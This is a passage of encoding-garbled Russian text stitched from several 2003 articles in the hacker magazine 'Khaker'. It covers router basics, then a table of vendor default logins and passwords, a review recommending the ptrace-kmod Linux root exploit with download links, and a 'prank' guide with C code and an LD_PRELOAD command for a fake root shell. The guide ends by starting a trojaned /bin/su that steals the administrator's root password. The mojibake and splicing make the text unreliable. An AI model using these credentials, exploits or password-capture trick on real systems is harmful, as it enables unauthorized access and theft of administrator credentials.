íàéäåí, ëèáî ïîêà ìàðøðóòèçàòîð íå ñîîáùèò<br />

âñåì îñòàëüíûì ìàðøðóòèçàòîðàì êîððåêòíóþ<br />

ìåòðèêó áîëåå äëèííîãî ïóòè. Çàïîìíè, ïîêà<br />

Cisco äóøèò æàáà, ýòîò àëãîðèòì áóäåò ðàáîòàòü<br />

òîëüêî íà ðîóòåðàõ îò Cisco.<br />

BGP êðóò òåì, ÷òî ïîçâîëÿåò þçàòü ñðàçó íåñêîëüêî<br />

êàíàëîâ âûõîäà â èíòåðíåò, òàê ÷òî åñëè îäèí<br />

èç ïðîâàéäåðîâ, ïðåäîñòàâëÿþùèõ äîñòóï, çàãíåòñÿ,<br />

òî ìîæíî áóäåò áåç ïðîáëåì ïåðåáèòü âíóòðåííèå<br />

êàíàëû äîñòóïà ñ óìåðøåãî íà ðàáî÷èå.<br />

Äîïóñòèì, òû ïðîäàåøü ÷àñû ñâîèõ ïðîâàéäåðîâ<br />

þçåðàì ðàéîííîé ëîêàëêè. Åñëè òåáå íå áóäåò<br />

õâàòàòü ïðîïóñêíîé ñïîñîáíîñòè óæå èìåþùåãîñÿ<br />

êàíàëà, òî òû ñìîæåøü ïðîòÿíóòü ñåáå âûäåëåíêè<br />

äðóãèõ ïðîâàéäåðîâ è çàïðîñòî èíòåãðèðóåøü èõ â<br />

óæå èìåþùóþñÿ ñåòü, ðàñïðåäåëÿÿ òàêèì îáðàçîì<br />

íàãðóçêó íà êàíàëû. Îäíàêî è ó BGP åñòü ñâîè íåäîñòàòêè.<br />

Íàïðèìåð, àóòåíòèôèêàöèÿ îòñóòñòâóåò<br />

êàê êëàññ, òàê ÷òî åñëè êàêîé-íèáóäü çëûäåíü â<br />

òâîåé ñåòêå ìàëåíüêî ïîñïóôèò è çàïóñòèò â ñåòü<br />

ëåâóþ òàáëèöó ìàðøðóòèçàöèè, òî äðóãèå ðîóòåðû<br />

ïðîãëîòÿò åå áåç ëèøíèõ âîïðîñîâ. Âîïðîñû âîçíèêíóò<br />

ó òåáÿ: êîãî, ÷åì è êàê äîëãî :).<br />

OVERLOAD WFQ!<br />

×òî æå äåëàåò ðîóòåð, åñëè ïîëó÷àåò ïàêåòû áûñòðåå,<br />

÷åì ìîæåò èõ ïåðåäàòü Ðàññìîòðèì ñëó-<br />

÷àé, êîãäà ñðàçó íåñêîëüêèì ïîëüçîâàòåëÿì çàõîòåëîñü<br />

ñêèíóòü íà êîìï ïðèÿòåëÿ ìàíóàëû ïî íàñòðîéêå<br />

ðó÷êè ñëèâíîãî áà÷êà :). Ðîóòåð, ïîëó÷àÿ<br />

ñðàçó ñ íåñêîëüêèõ âõîäíûõ èíòåðôåéñîâ çàïðîñû<br />

íà ïåðåäà÷ó â îäèí âûõîäíîé èíòåðôåéñ, ïîìåùàåò<br />

èõ â îäíó î÷åðåäü - áóôåð. Äëÿ òîãî ÷òîáû<br />

âîâðåìÿ ïåðåäàòü âñþ èíôîðìàöèþ, èñïîëüçóåòñÿ<br />

àëãîðèòì "×åñòíîé âçâåøåííîé î÷åðåäè" -<br />

Weighted Fair Queue. Ðîóòåðû èìåþò ïî íåñêîëüêó<br />

î÷åðåäåé äëÿ êàæäîãî âûõîäíîãî èíòåðôåéñà è<br />

ïî îäíîé î÷åðåäè íà êàæäîãî îòïðàâèòåëÿ. Êàê<br />

òîëüêî ðîóòåð ðàñïðàâèòñÿ ñ îäíîé, îí áåðåò ñëåäóþùóþ,<br />

è ò.ä. Â ìîäèôèöèðîâàííûõ âåðñèÿõ<br />

ýòîãî àëãîðèòìà ïîçâîëÿåòñÿ ñîðòèðîâêà î÷åðåäåé<br />

â ñîîòâåòñòâèè ñ èõ ïðèîðèòåòîì.<br />

ÀËÃÎÐÈÒÌÛ<br />

Àëãîðèòìû ìàðøðóòèçàöèè ìîãóò áûòü ðàçëè÷íîãî<br />

òèïà: ñòàòè÷åñêèìè - äèíàìè÷åñêèìè, îäíîóðîâíåâûìè<br />

- ìóëüòèóðîâíåâûìè, îäíîìàðøðóòíûìè<br />

- ìóëüòèìàðøðóòíûìè, îäíîàäðåñíûìè -<br />

ãðóïïîâûìè.<br />

Äàâàé òåïåðü ðàçáèðàòü, ÷åãî ýòî ìû<br />

5 6 7 8<br />

Þíèêñîèä X-Ñòèëü Êîäèíã


Âçëîì<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÌÀÐØÐÓÒÈÇÀÒÎÐÛ: ÁÎËÜØÈÅ È Î×ÅÍÜ ÁÎËÜØÈÅ<br />

Òóòêàáàåâ Åðêåáóëàí (streetseeker@mail.ru)<br />

òóò íàòâîðèëè. Äëÿ íà÷àëà âîçüìåì ñòàòè÷åñêèå<br />

(èõ åùå íàçûâàþò íåàäàïòèâíûå) è äèíàìè÷åñêèå<br />

àëãîðèòìû ìàðøðóòèçàöèè. Ìàðøðóòèçàöèþ<br />

ìîæíî çàäàòü ðó÷êàìè, ñòàòè÷íî, íî òàêàÿ ðåàëèçàöèÿ<br />

òàèò â ñåáå óãðîçó ñêîðîãî âèçèòà ê ïñèõîòåðàïåâòó,<br />

â ñëó÷àå, åñëè àäìèíèñòðèðóåìàÿ<br />

ñåòü áîëüøàÿ. Ïðåäñòàâü, òû äîáàâèë ïàðó óçëîâ<br />

è... òåïåðü äàâàé ïåðåáèâàé òàáëèöû íà âñåõ ðîóòåðàõ<br />

â ñâîåé ñåòè. Äèíàìè÷åñêèå æå àëãîðèòìû<br />

ðàçëè÷àþò ïî ñïîñîáó ïîëó÷åíèÿ èíôîðìàöèè:<br />

îò ñîñåäíèõ ðîóòåðîâ, îò âñåõ ðîóòåðîâ ñðàçó;<br />

ïî ìîìåíòó èçìåíåíèÿ ìàðøðóòîâ - ÷åðåç îïðåäåëåííûå<br />

èíòåðâàëû âðåìåíè, ïðè èçìåíåíèè<br />

òîïîëîãèè; ïî èñïîëüçóåìîé ìåòðèêå - êîëè÷åñòâî<br />

õîïîâ, ôèçè÷åñêîå ðàññòîÿíèå, âðåìÿ çàäåðæêè<br />

ïåðåäà÷è ïàêåòà.  ëþáîì ñëó÷àå, äèíàìè÷åñêèé<br />

àëãîðèòì ìàðøðóòèçàöèè ÿâëÿåòñÿ àâòîìàòè-<br />

÷åñêèì, òàê ÷òî åñëè òâîè ðîóòåðû ïîääåðæèâàþò<br />

äèíàìè÷åñêóþ ìàðøðóòèçàöèþ - âêëþ÷àé íå ðàçäóìûâàÿ.<br />

Äàëåå, îäíîóðîâíåâûé àëãîðèòì îçíà÷àåò, ÷òî<br />

âñÿ ñåòü ÿâëÿåòñÿ îäíîðàíãîâîé, ò.å. âñå ñåãìåíòû<br />

èìåþò îäèíàêîâûé ïðèîðèòåò. Ìóëüòèóðîâíåâûé<br />

àëãîðèòì - â ñåòè èìååòñÿ íåñêîëüêî óðîâíåé<br />

ìàðøðóòèçàòîðîâ. Òî åñòü â ñåòè íàõîäÿòñÿ ìàðøðóòèçàòîðû<br />

âåðõíåãî óðîâíÿ, ÿâëÿþùèåñÿ îñíîâíîé<br />

ìàãèñòðàëüþ ïåðåäà÷è äàííûõ, è íàõîäÿùèåñÿ<br />

ïîä íèìè ìàðøðóòèçàòîðû íèçêîãî êëàññà, îñóùåñòâëÿþùèå<br />

íåïîñðåäñòâåííóþ äîñòàâêó ïàêåòîâ<br />

àäðåñàòàì. Îáû÷íî ïðèìåíÿåòñÿ, åñëè â ñåòè íàõîäèòñÿ<br />

Î×ÅÍÜ áîëüøîå êîëè÷åñòâî óçëîâ. Ïåðåäîõíè,<br />

ñäåëàé ïàðó ãëîòêîâ æèâèòåëüíîé ïåíèñòîé<br />

âëàãè - ïðîäîëæàþ ñûïàòü îïèëêè íà òâîè ìîçãè.<br />

Îäíîìàðøðóòíûé àëãîðèòì îçíà÷àåò, ÷òî îí áóäåò<br />

ïðåäëàãàòü òîëüêî îäèí ìàðøðóò, â òî âðåìÿ<br />

êàê ìóëüòèìàðøðóòíûé àëãîðèòì áóäåò ðàññìàòðèâàòü<br />

íåñêîëüêî âàðèàíòîâ, è, èñõîäÿ èç èìåþùèõñÿ<br />

äàííûõ ïî çàãðóæåííîñòè ó÷àñòêîâ ñåòè,<br />

âûáåðåò îïòèìàëüíûé ïóòü.<br />

Îäíîàäðåñíûé - ãðóïïîâîé. Îäíîàäðåñíûé àëãîðèòì<br />

ïåðåäàåò â êà÷åñòâå ïîëó÷àòåëÿ òîëüêî îäèí àäðåñ, à<br />

ãðóïïîâîé ïîçâîëÿåò óêàçàòü â êà÷åñòâå ïîëó÷àòåëÿ<br />

ñðàçó íåñêîëüêèõ ïîëüçîâàòåëåé (multicast).<br />

ÂÈÄÛ ÌÀÐØÐÓÒÈÇÀÒÎÐÎÂ<br />

Íà êàðòèíêå cisco12000series router -<br />

áîëüøîé è ìîùíûé<br />

Ëèíêè<br />

Åñëè òåìà òåáÿ çàèíòåðåñîâàëà,<br />

è òû õî÷åøü<br />

çíàòü áîëüøå, ñîâåòóþ<br />

ïîñåòèòü ñëåäóþùèå<br />

ñàéòû: www.citforum.ru,<br />

www.hub.ru, www.ixbt.ru,<br />

www.osp.ru.<br />

Òàì ìàòåðèàë ïðåäñòàâëåí<br />

î÷åíü âíÿòíî è äîõîä÷èâî,<br />

è äàæå îïûòíûé<br />

àäìèí ñìîæåò ïî-<br />

÷åðïíóòü äëÿ ñåáÿ ÷òîòî<br />

íîâîå. Ðàçóìååòñÿ,<br />

ìàðøðóòèçàöèÿ - äåëî<br />

íåëåãêîå, è åñëè ó òåáÿ<br />

åñòü êàêèå-òî ñëîæíîñòè<br />

ñ íàñòðîéêîé ðîóòåðîâ<br />

- ïèøè ìíå, ïîìîãó.<br />

Ìàðøðóòèçàòîðû êëàññèôèöèðóþòñÿ ïî âèäàì ðåàëèçàöèè<br />

ñ ðàçíûìè âîçìîæíîñòÿìè è, ñîîòâåòñòâåííî,<br />

öåíàìè. Èõ ðàçäåëÿþò íà òðè êëàññà: âåðõíèé,<br />

ñðåäíèé è íèæíèé. Ðîóòåðû âåðõíåãî óðîâíÿ<br />

èìåþò âûñîêóþ ïðîèçâîäèòåëüíîñòü, ïîääåðæèâàþò<br />

õðåíîâó òó÷ó èíòåðôåéñîâ è ïðîòîêîëîâ, è<br />

ïîçâîëÿþò âîòêíóòü ñåáå â çàä äî 50 ëîêàëüíûõ<br />

èëè ãëîáàëüíûõ êàáåëåé. Ïðî öåíó ñêàæó îäíî: íà<br />

íèõ òû íå ñîáåðåøü, äàæå åñëè òîëêíåøü êîìï,<br />

ïîäðóæêó, îáå ïî÷êè è ïðàâîå ÿè÷êî.<br />

Ðîóòåðû ñðåäíåãî óðîâíÿ ïîçâîëÿþò ðåàëèçîâàòü<br />

áîëåå ñêðîìíóþ ñåòü âíóòðè ïðåäïðèÿòèÿ. Îáû÷íî<br />

â íèõ 3 ëîêàëüíûõ è 3 ãëîáàëüíûõ ïîðòà. Ñîîòâåòñòâåííî<br />

óìåíüøèëîñü è êîëè÷åñòâî ïîääåðæèâàåìûõ<br />

ïðîòîêîëîâ - íå íàäåéñÿ ïîäêëþ÷èòü ê<br />

íèì êàêóþ-íèáóäü ýêçîòèêó. Öåíà óæå áîëåå èëè<br />

ìåíåå ïðèåìëåìàÿ, íî, òåì íå ìåíåå, äëÿ îáû÷íîãî<br />

àäìèíà ëîêàëüíîé ñåòêè äîðîãîâàòî.<br />

Ðîóòåðû íèæíåãî óðîâíÿ óæå ïðåäñòàâëÿþò ðåàëüíûé<br />

èíòåðåñ äëÿ íàøèõ àäìèíîâ, ïîñêîëüêó, â<br />

ïðèíöèïå, çà íåáîëüøîå êîëè÷åñòâî êàïóñòû<br />

ìîæíî ïîëó÷èòü ñêðîìíûé (íî ðððàáîòàþùèé!!!<br />

:)) äåâàéñ. Âîò åãî ïðèìåðíûå õàðàêòåðèñòèêè: 1,<br />

ðåæå 2 ëîêàëüíûõ ïîðòà è 2 èëè 3 ãëîáàëüíûõ<br />

ïîðòà. Ðîóòåðû äàííîãî êëàññà ñïåöèàëüíî ñïðîåêòèðîâàíû<br />

äëÿ ïðåäîñòàâëåíèÿ âûõîäà â èíåò ïî<br />

íèçêîñêîðîñòíûì âûäåëåíêàì.  êà÷åñòâå ìàðøðóòèçàòîðà<br />

òàêîãî óðîâíÿ ìîæåò âûñòóïèòü multihomed<br />

âîðêñòåéøí èëè ñåðâåð ñ óñòàíîâëåííûì<br />

ñïåöñîôòîì.<br />

×ÒÎ ÊÓÏÈÒÜ<br />

Ñåé÷àñ ðàñêëàä íà ðûíêå ðîóòåðîâ òàêîé: â îñíîâíîì<br />

äîìèíèðóåò Cisco Systems, ïðè÷åì îíà<br />

îòõâàòèëà ïîä ñåáÿ ïðàêòè÷åñêè âåñü ñïåêòð, íà-<br />

÷èíàÿ îò ìîùíûõ è äîðîãóùèõ Cisco 12000 Series<br />

äî íåáîëüøèõ è êîìïàêòíûõ Cisco SOHO 9x è<br />

Cisco 800.<br />

Èçîáðàæåíû äâà áëîêà îäíîãî ðîóòåðà<br />

Íàäî îòìåòèòü, ÷òî â îñíîâíîì ó Cisco âñå ìîäåëè<br />

äîâîëüíî óäà÷íûå è íå âûçûâàþò îñîáûõ íàðåêàíèé,<br />

õîòÿ è åñòü íåêîòîðûå òðàáëû ñ ñåêüþðíîñòüþ,<br />

íî îá ýòîì â ñëåäóþùèé ðàç.<br />

ÏÎÊËÎÍ ÄÜßÂÎËÓ<br />

Äëÿ íà÷àëà ñêàæó, ÷òî êàê âñåãäà, îñíîâíîé ïðîáëåìîé<br />

îñòàþòñÿ ïàðîëè, îñòàâëÿåìûå ïî äåôîëòó.<br />

Ïîìíè, ÷òî âñå ýòî - èñêëþ÷èòåëüíî â öåëÿõ<br />

ñàìîîáðàçîâàíèÿ! ;) Âîò òåáå íåêîòîðûå èç íèõ:<br />

Ôèðìà Òèï Îñü<br />

Ëîãèí Ïàðîëü<br />

Cisco Ïîä ëþáîé ðîóòåð èëè ñâèò÷ Âåðñèÿ Îñè<br />

10-12 cisco cisco<br />

CISCO Network Registrar 3.0<br />

ADMIN changeme<br />

Cisco VPN 3000 Concentrator<br />

admin admin<br />

Cisco Net Ranger 2.2.1 Sol 5.6<br />

root attack<br />

Bintec Ïîä ëþáîé ðîóòåð<br />

admin bintec<br />

ACC Ïîä ëþáîé ðîóòåð<br />

netman netman<br />

3COM Switch 3000/3300<br />

manager manager<br />

Dell PowerVault 50F WindRiver<br />

root calvin<br />

Intel Ïîä ëþáîé ðîóòåð<br />

ëîãèíà íåò babbit<br />

ÝÏÈ.LOG<br />

Òåïåðü òû â êóðñå, ÷òî æå ýòî òàêîå, ðîóòåðû. ×òî<br />

ñ îãóðöàìè îíè íè ê ÷åðòó :). Êàê òû ñàì ïîíèìàåøü,<br />

óñòðîéñòâî ñ òàêîé ñëîæíîé âíóòðåííåé àðõèòåêòóðîé<br />

èìååò ìàññó áàãîâ è... îíè äåéñòâèòåëüíî<br />

åñòü. Âêóñíîñòè õàêà ìàðøðóòèçàòîðà òû<br />

òîæå óæå íàâåðíÿêà ïðîñåê. Òàê ÷òî â ñëåäóþùåì<br />

íîìåðå æäè ñàìîå ñëàäêîå - âçëîì ðîóòåðîâ...<br />

1 2 3 4<br />

80 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Âçëîì<br />

ÎÁÇÎÐ<br />

<br />

ÝÊÑÏËÎÈÒÎÂ<br />

Ýêñïëîèòîâ â ñåòè áåñ÷èñëåííîå ìíîæåñòâî, íî âñå îíè äåëÿòñÿ íà äâå êàòåãîðèè: ïóáëè÷íûå è ïðèâàòíûå. Òðåòüåãî ïðîñòî<br />

íå äàíî. Â ïðèâàòíóþ êàòåãîðèþ âõîäÿò ñàìûå íîâûå è óáîéíûå ïî ñèëå ýêçåìïëÿðû, ãîòîâûå â ëþáîé ìîìåíò óëîæèòü ñåðâåð<br />

íà ëîïàòêè. Îñòàëüíûå ýêñïëîèòû âûêëàäûâàþòñÿ â îáùåäîñòóïíûõ ìåñòàõ, âðîäå: bugtraq, ftp/web àðõèâû è ò.ä. Èõ ïóáëèêàöèÿ<br />

îáóñëàâëèâàåòñÿ ðàçíûìè ïðè÷èíàìè: âðåìåííûìè, ïîòåðÿ àêòóàëüíîñòè áàãè è ò.ä. Âïåðåìåøêó ñ ðàáî÷èìè ýêñïëîèòàìè<br />

âñòðå÷àþòñÿ ôåéêîâûå (ïîääåëüíûå) ëèáî ïðîòðîÿíåííûå âåðñèè, çàïóñê êîòîðûõ íà äîâåðåííîé ìàøèíå ìîæåò îáåðíóòüñÿ<br />

ôàòàëüíûì èñõîäîì. Ýòà ñòàòüÿ ïîìîæåò òåáå ñîðèåíòèðîâàòüñÿ â îãðîìíîì àññîðòèìåíòå ïóáëè÷íûõ ïðîãðàìì.<br />

ÎÁÇÎÐ ÝÊÑÏËÎÈÒÎÂ<br />

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)<br />

PTRACE-KMOD EXPLOIT<br />

Îïèñàíèå:<br />

Èòàê, ïåðâûé ýêñïëîèò, êîòîðûé ÿ õîòåë áû<br />

îïèñàòü, íîñèò ãîðäîå èìÿ ptrace-kmod exploit.<br />

Êàê òû, íàâåðíîå, äîãàäàëñÿ, ýòî ïðîäîëæåíèå<br />

öåïî÷êè ìíîãî÷èñëåííûõ ïðîãðàìì,<br />

èñïîëüçóþùèõ ëîêàëüíóþ óÿçâèìîñòü ptrace â<br />

ÿäðå Linux. Ïðåëåñòü ýòîãî ýêçåìïëÿðà â òîì, ÷òî<br />

îí ñïîñîáåí âçÿòü ðóòîâûå ïðàâà íà ÿäðàõ 2.2.x è<br />

2.4.x (äî 2.4.20 âêëþ÷èòåëüíî). Âäàâàòüñÿ â<br />

ðóòèííûé ìåõàíèçì åãî ðàáîòû ÿ íå áóäó, ïðîñòî<br />

ñêàæó ñî ñëîâ ðàçðàáîò÷èêîâ: ýêñïëîèò<br />

èñïîëüçóåò óÿçâèìîñòü ÿäðà, çàêëþ÷àþùóþñÿ â<br />

íåáåçîïàñíîì ñîçäàíèè ïðîöåññà-ïîòîìêà. Â<br />

ðåçóëüòàòå ìû ïîëó÷àåì root-ïðàâà íà óäàëåííîé<br />

ñèñòåìå.<br />

Çàùèòà:<br />

Îáåçîïàñèòü ñåáÿ îò ýòîé óÿçâèìîñòè ìîæíî<br />

ïóòåì óñòàíîâêè ÿäðà 2.4.21, ëèáî ñêà÷êîé è<br />

ïîñëåäóþùåé óñòàíîâêîé ñïåöèàëüíûõ ïàò÷åé,<br />

êîòîðûå ìîæíî íàéòè â bugtraq'àõ. Åùå ðàç<br />

ïîâòîðþñü, ÷òî ýêñïëîèò àêòóàëåí ëèøü äëÿ linuxïëàòôîðì.<br />

Ññûëêè:<br />

http://packetstormsecurity.nl/0304-exploits/ptracekmod.c<br />

- ïåðâàÿ ðàáî÷àÿ âåðñèÿ ýêñïëîèòà.<br />

http://packetstormsecurity.nl/0304-exploits/myptrace.c<br />

- åùå îäèí ðåëèç; ïî ñëîâàì<br />

ðàçðàáîò÷èêîâ, ÿâëÿåòñÿ áîëåå ýôôåêòèâíûì<br />

(áûëè ñäåëàíû íåêîòîðûå èçìåíåíèÿ ïî äîñòóïó ê<br />

äèðåêòîðèè /proc).<br />

Çëîêëþ÷åíèå:<br />

Ðåâîëþöèîííàÿ âåùü. Åñëè ó÷åñòü èíåðòíîñòü<br />

íàøèõ àäìèíîâ, ìîæíî óâåðåííî ñêàçàòü, ÷òî ýòîò<br />

ýêñïëîèò áóäåò àêòóàëåí êàê ìèíèìóì ïîëãîäà.<br />

Greets:<br />

Äðóæíî áëàãîäàðèì çà ñîçäàíèå ýòîé ðóëåçíîé<br />

òóëçû íàøåãî áðàòà ïî ðàçóìó èç Ïîëüøè ïî<br />

èìåíè Wojciech Purczynski (cliph@isec.pl).<br />

Ïåðåä ýòèì ýêñïëîèòîì íå óñòîèò äàæå<br />

ñàìîå ñòîéêîå ÿäðî!<br />

SAMBAL EXPLOIT<br />

Îïèñàíèå:<br />

Íà âòîðîì ìåñòå - óäàëåííûé ýêñïëîèò äëÿ<br />

ñåðâèñà Samba v.


Þíèêñîèä<br />

ÕÀÊÅÐ\¹52\Ìàé\2003<br />

ÇÀÏÀÄËÎ Â LINUX<br />

Forb (forb@real.xakep.ru)<br />

Íà÷àòü ýòó ñòàòüþ õîòåëîñü<br />

áû ñ áàíàëüíîé,<br />

âñåì èçâåñòíîé ïîñëîâèöû:<br />

"Äåëó - âðåìÿ, ïîòåõå<br />

- ÷àñ". Âåäü ñîãëàñèñü,<br />

òåáå âðåìåíàìè õî÷åòñÿ<br />

ñäåëàòü ÷òî-òî íåõîðîøåå,<br />

äðóãèìè ñëîâàìè,<br />

óñòðîèòü êîìó-íèáóäü<br />

ïîäëÿíêó :). Åñëè òàê, òî<br />

ýòà ñòàòüÿ äëÿ òåáÿ. Èñïîëüçóÿ<br />

ôè÷è òâîåé ëþáèìîé<br />

Îñè (ÿ íàäåþñü, òû<br />

ïîíèìàåøü, î ÷åì èäåò<br />

ðå÷ü) òû ìîæåøü ðåàëüíî<br />

ïðèêîëîòüñÿ íàä òîâàðèùåì<br />

è äàæå â êàêîé-òî<br />

ñòåïåíè óäèâèòü åãî.<br />

Òîëüêî ïîìíè, ÷òî çëîé<br />

àäìèíèñòðàòîð õóæå òàòàðèíà<br />

:), ïîýòîìó îñòåðåãàéñÿ<br />

ëåòÿùèõ â òåáÿ õàáîâ<br />

èëè êëàâèàòóð.<br />

Çàïàäëî<br />

â Linux<br />

Èçó÷àåì íîâûå ïîäëÿíêè!<br />

Èòàê, ðàññìîòðèì äâå çàïîäëÿíñêèå øòó÷êè, êîòîðûå<br />

òîëüêî è æäóò ñâîþ æåðòâó. Ñ ïîìîùüþ ïåðâîé ìîæíî<br />

äîâåñòè ñâîåãî àäìèíà äî ïîëíîé àïàòèè è ìûñëè î òîì,<br />

÷òî íå ñóùåñòâóåò çàùèùåííîé ñèñòåìû, à âòîðàÿ ïðè<br />

îïðåäåëåííûõ îáñòîÿòåëüñòâàõ ìîæåò óâåñòè root-ïàðîëü.<br />

Íî îáî âñåì ïî ïîðÿäêó.<br />

Bug â LD_PRELOAD<br />

Íàçûâàòü ýòó îòëè÷èòåëüíóþ îñîáåííîñòü áàãîì óæå íå<br />

ñîâñåì ïðàâèëüíî. Áàãòðàê çíàåò î íåì, è âñå ñèñòåìû<br />

òîæå :). Íî ïîñëåäñòâèÿ, êîòîðûå îí âûçûâàåò, ìîãóò ðåàëüíî<br />

äîâåñòè òâîåãî àäìèíà äî èíôàðêòà (èëè çàïîÿ,<br />

çàâèñèò îò åãî õàðàêòåðà). Ñìûñë â òîì, ÷òî ïèøåòñÿ<br />

áèáëèîòåêà ñî ñëåäóþùèìè ôóíêöèÿìè: getuid, getgid,<br />

geteuid è getegid, âîçâðàùàþùèå 0. Ïðè óìåëîì èõ ïîäãðóæåíèè<br />

ñèñòåìà îïîçíàåò ïîëüçîâàòåëÿ êàê root. Íî ýòî<br />

òîëüêî íà ïåðâûé âçãëÿä. Íà ñàìîì äåëå, çàìåùåíèå<br />

ñèñòåìíûõ ôóíêöèé èäåò òîëüêî äëÿ íåSUIDíûõ ïðîãðàìì,<br />

òî åñòü áåç çàêðåïëåííîãî íà íèõ ôëàãà +s, ïîçâîëÿþùèõ<br />

âûïîëíÿòü áèíàðíèê c ïðàâàìè owner’à. Íî àäìèíû<br />

îáû÷íî íàðîä ëåíèâûé, áàãòðàêè ÷èòàþò ðåäêî, è<br />

ýòà ôèøêà ìîæåò âûçâàòü ó íèõ íåêîòîðîå óäèâëåíèå =).<br />

Èòàê, áëèæå ê òåëó. Äëÿ îñóùåñòâëåíèÿ ñòîëü ãðÿçíîé<br />

ìàõèíàöèè ñîçäàäèì ïðîãðàììó íà C, ïðèìåðíî ñëåäóþùåãî<br />

ñîäåðæàíèÿ:<br />

int getuid() { return (0); }<br />

int getgid() { return (0); }<br />

int geteuid() { return (0); }<br />

int getegid() { return (0); }<br />

Íå óäèâëÿéñÿ îòñóòñòâèþ â ñèøíèêå ôóíêöèè main() - åå<br />

íåò, òàê êàê ôàéë áóäåì êîìïèëèòü ñ ôëàãîì "shared",<br />

÷òî ïîçâîëèò åìó ïîäêëþ÷àòüñÿ ê äðóãèì áèíàðíèêàì.<br />

Êîìïèëèì:<br />

gcc -shared fake.c -o fake.so,<br />

ïîëó÷àÿ òåì ñàìûì ïîëíîöåííóþ áèáëèîòåêó fake.so (åñòåñòâåííî,<br />

÷òî èìÿ ñèøíèêà äîëæíî áûòü fake.c).<br />

Çàòåì âûïîëíèì íåïîñðåäñòâåííîå ïîäêëþ÷åíèå áèáëèîòåêè.<br />

Íàáåðåì ñëåäóþùóþ ñòðîêó:<br />

LD_PRELOAD=./fake.so /bin/bash<br />

È ÷òî æå ìû òåïåðü âèäèì Çàâåòíûé r00tîâûé prompt,<br />

òèïà [root@server user]#. Íè÷åãî óäèâèòåëüíîãî, ïðè îáðàáîòêå<br />

/etc/profile ñêðèïò óñïåøíî ñêóøàë ïåðåìåííóþ<br />

UID, êîòîðàÿ ñòàëà ðàâíîé íóëþ, ÷òî äàëî ïðàâî âûñòàâëÿòü<br />

prompt äëÿ ðóòà. Íî ôåéê åñòü ôåéê, ïîýòîìó ðàäîâàòüñÿ<br />

ðàíî. Ïðè âûïîëíåíèè êàêîé-ëèáî ïðèâèëåãèðîâàííîé<br />

îïåðàöèè òåáå ñêàæóò, ÷òî ó òåáÿ íåò ïðàâ. Íî<br />

âíåøíèé âèä î÷åíü âïå÷àòëÿåò, è ÿ ñïåðâà ïîäóìàë, ÷òî íà<br />

õàëÿâó ïîëó÷èë ðóòà, çàïóñòèâ îäèí åäèíñòâåííûé ôàéë :).<br />

Åñòåñòâåííî, â íåì âñå áûëî àâòîìàòèçèðîâàíî: êîìïèëÿöèÿ<br />

ïîääåëüíûõ ôóíêöèÿ+çàïóñê bash ñ áèáëèîòåêîé.<br />

Ñàìîå èíòåðåñíîå, îáðàùåíèå ê çàãðóæàåìûì ôóíêöèÿì<br />

ðàáîòàåò äëÿ âñåõ áèíàðíèêîâ áåç +s, â òîì ÷èñëå è id,<br />

ïîýòîìó æåðòâà ìîæåò ÷àñàìè ëþáîâàòüñÿ íà ñâîè ïðàâà<br />

=). Ïðè îáðàùåíèè æå ê áîëåå ñåðüåçíûì ôàéëàì, òàêèì<br />

êàê su, passwd è ò.ä. òåáÿ æäåò îáëîì-c. Äëÿ íèõ èñïîëüçóþòñÿ<br />

òîëüêî ñòàíäàðòíûå ôóíêöèè, äåëàÿ òåì ñàìûì<br />

ñèñòåìó áåçîïàñíîé. Ïîëüçû îò ýòîé øóòêè íèêàêîé, íî<br />

îíà ìîæåò áûòü óìåñòíà â êðèâûõ ñêðèïòàõ, êîòîðûå ïðîâåðÿþò<br />

ïåðåìåííóþ $UID íà íóëåâîå çíà÷åíèå :). Åñëè ýòî<br />

òàê, òî, âîçìîæíî, ñêðèïò ïîçâîëèò òåáå ñîâåðøèòü êàêèåëèáî<br />

ðóòîâûå äåéñòâèÿ. Ïîýòîìó õî÷ó äàòü íàïóòñòâèå<br />

ïðîãðàììèñòàì: íèêîãäà íå äåëàéòå ïðîñòóþ ïðîâåðêó<br />

ïðàâ ïîëüçîâàòåëÿ - âçëîìùèêè òîëüêî ýòîãî è æäóò.<br />

Õî÷åòñÿ îòìåòèòü, ÷òî ýòà ôèøêà ðàáîòàåò íå òîëüêî â<br />

Linux’å, íî è â SunOS è FreeBSD. Âîçìîæíî, â äðóãèõ<br />

ñèñòåìàõ òîæå, íî çà âûøåïåðå÷èñëåííûå ðó÷àþñü, òàê<br />

êàê ñîáñòâåííîðó÷íî òåñòèðîâàë íà íèõ.<br />

Ïèøåì ñâîé /bin/su<br />

Íà ýòîò ðàç çàéìåìñÿ áîëåå ñåðüåçíûìè âåùàìè, à òî÷íåå<br />

ïîïðîáóåì óâåñòè ïàðîëü àäìèíèñòðàòîðà ñèñòåìû,<br />

èìåÿ ïðè ýòîì ïðàâà îáû÷íîãî þçåðà (ðàçóìååòñÿ, ýòîò<br />

ãîòîâèì ëîâóøêó äëÿ þçåðà<br />

1 2 3 4<br />

82 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


LD_PRELOAD â ðàáîòå<br />

þçåð äîëæåí çíàòü ïàðîëü íà ðóòà è ïåðèîäè÷åñêè íà íåãî<br />

ñóèäèòüñÿ). Ñìûñë âñåé çàäóìêè â òîì, ÷òî ïèøåòñÿ<br />

ïîääåëüíûé áèíàðíèê su, õâàòàþùèé ïàðîëü ó ïîëüçîâàòåëÿ,<br />

ãîâîðÿùèé, ÷òî îí íåïðàâèëüíûé, è çàïèñûâàþùèé<br />

äàííûå â log, êîòîðûé òû âïîñëåäñòâèè ìîæåøü ïðî÷èòàòü.<br />

 ôèíàëüíîé æå ñòàäèè îí çàìåùàåò ñåáÿ ëèíêîì<br />

íà ðàáî÷èé /bin/su. Òû, íàâåðíîå, ïîäóìàåøü, ÷òî àäìèí<br />

ñðàçó çàáüåò òðåâîãó, êîãäà óâèäèò, ÷òî ïàðîëü íåâåðåí.<br />

ß òîæå òàê äóìàë, è õîòåë óæå áûëî çàìåíèòü ðóãàíü î<br />

íåâåðíîì ïàðîëå íà ñòðîêó segmentation fault èëè ÷òî-ëèáî<br />

ïîäîáíîå. Íî ïîòîì ìåíÿ îñåíèëî. Àäìèíû-òî íàðîä<br />

ëåíèâûé, à ïàðîëè ó íèõ äîâîëüíî ñëîæíûå (â áîëüøèíñòâå<br />

ñëó÷àåâ), ïîýòîìó áûâàþò è îøèáêè ïðè íàáîðå. À<br />

